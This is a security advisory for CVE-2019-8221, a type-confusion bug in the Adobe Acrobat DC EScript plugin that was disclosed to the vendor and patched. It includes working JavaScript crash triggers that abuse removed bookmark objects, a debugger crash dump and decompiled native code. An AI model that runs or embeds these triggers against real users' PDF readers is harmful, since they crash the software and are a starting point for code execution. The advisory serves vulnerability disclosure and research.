CVE: CVE-2019-8221

Tested Versions:

  • Acrobat DC version 2019.008.20064 (Windows 10 64-bit)

Product URL(s):

Description of the vulnerability

Adobe Acrobat is a family of application software and Web services developed by Adobe Inc. to view, create, manipulate, print and manage files in Portable Document Format (PDF).

Both Adobe Reader and Acrobat DC share the same Escript.api plugin:

Image path: C:\Program Files (x86)\Adobe\Acrobat DC\Acrobat\plug_ins\EScript.api
Image name: EScript.api
Browse all global symbols  functions  data
Timestamp:        Tue Dec  4 10:46:45 2018 (5C06CB95)
CheckSum:         00000000
ImageSize:        002AB000
File version:     19.10.20064.48846
Product version:  19.10.20064.48846
File flags:       0 (Mask 3F)
File OS:          4 Unknown Win32
File type:        2.0 Dll
File date:        00000000.00000000
Translations:     0409.04b0
Information from resource tables:
    CompanyName:      Adobe Systems Incorporated
    ProductName:      Adobe Acrobat Escript
    InternalName:     Escript
    OriginalFilename: Escript.api
    ProductVersion:   19.10.20064.310990
    FileVersion:      19.10.20064.310990
    FileDescription:  Adobe Acrobat Escript Plug-in

Technical Details

There is type-confusion because the colorConvertPage function does not check the object type.

Crash context:

(136c.f74): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=00000000 edx=07acec68 esi=006fd84c edi=006fd7b4
eip=760e9060 esp=006fd738 ebp=006fd75c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
ucrtbase!strlen+0x30:
760e9060 8b01            mov     eax,dword ptr [ecx]  ds:002b:00000000=????????

The following JavaScript code will crash Adobe Acrobat DC (there is no need to enable PageHeap). The program will crash because of a call to strlen with a null pointer:

myColor=this.getColorConvertAction();
myColor.convertProfile=this.bookmarkRoot
this.bookmarkRoot.remove()
this.colorConvertPage(3,[myColor],[]);

To investigate this further, we print the convertProfile property after it has been removed:

myColor=this.getColorConvertAction();    
myColor.convertProfile=this.bookmarkRoot
this.bookmarkRoot.remove()             
app.alert(myColor.convertProfile)
this.colorConvertPage(3,[myColor],[]); 

In this case, Reader did not crash but it shows:

DeadObjectError: Object is dead.
Bookmark.toString:4:Console undefined:Exec

From this, we know that myColor.convertProfile is a dead object, so the code throws an exception. The hypothesis is that this might be a type confusion bug because when function colorConvertPage is called, it will use the convertProfile property that was set before. However, since that property now points to a dead object, and maybe there were no checks for this condition.

Let’s examine the native code:

// EScript + 0x087D0D
int  sub_87D0D(char a1, int a2, int a3)
{
   ....
   v12 = sub_40B2E(&a1, v39, "convertIntent");
   LOBYTE(v40) = 9;
   *(v3 + 44) = sub_81831(v12);
   LOBYTE(v40) = 0;
   sub_4028B(v39);
   *(v3 + 48) = 0;
   v13 = sub_40B2E(&a1, v30, "convertProfile"); // set property name
   LOBYTE(v40) = 10;
   v14 = sub_87394(v13, v39); // do somthing with this property ( call into crash)
   v15 = v14[5] < 0x10u;
   LOBYTE(v40) = 11;
   if ( !v15 )
     v14 = *v14;
   ....
}

int __thiscall sub_87394(_DWORD *this, int a1)
{
 v2 = sub_40CF2(this, &v4);
 v5 = 0;
 crash_func(v2, a1); // call into crash
 sub_4022B(&v4);
 return a1;
}

I examined the functions around sub_87394 but did not find any checks for dead objects.

I also tested properties that involve function sub_87394 and they also triggered a crash. There were 7 such properties, such as:

myColor=this.getColorConvertAction();    
myColor.colorantName=this.bookmarkRoot;  // different property here
this.bookmarkRoot.remove()             
this.colorConvertPage(3,[myColor],[]); 

This is a type-confusion bug because of missing checks on the object type.

With proper memory manipulation this bug can be turned into code exctution inside sandbox context.

Timeline:

  • 2019-09-09 Vendor disclosure
  • 2019-10-15 Vendor patched

Vendor Response

The vendor has acknowledged the issue and released an update to address it.

The vendor’s advisory can be found here: APSB19-49.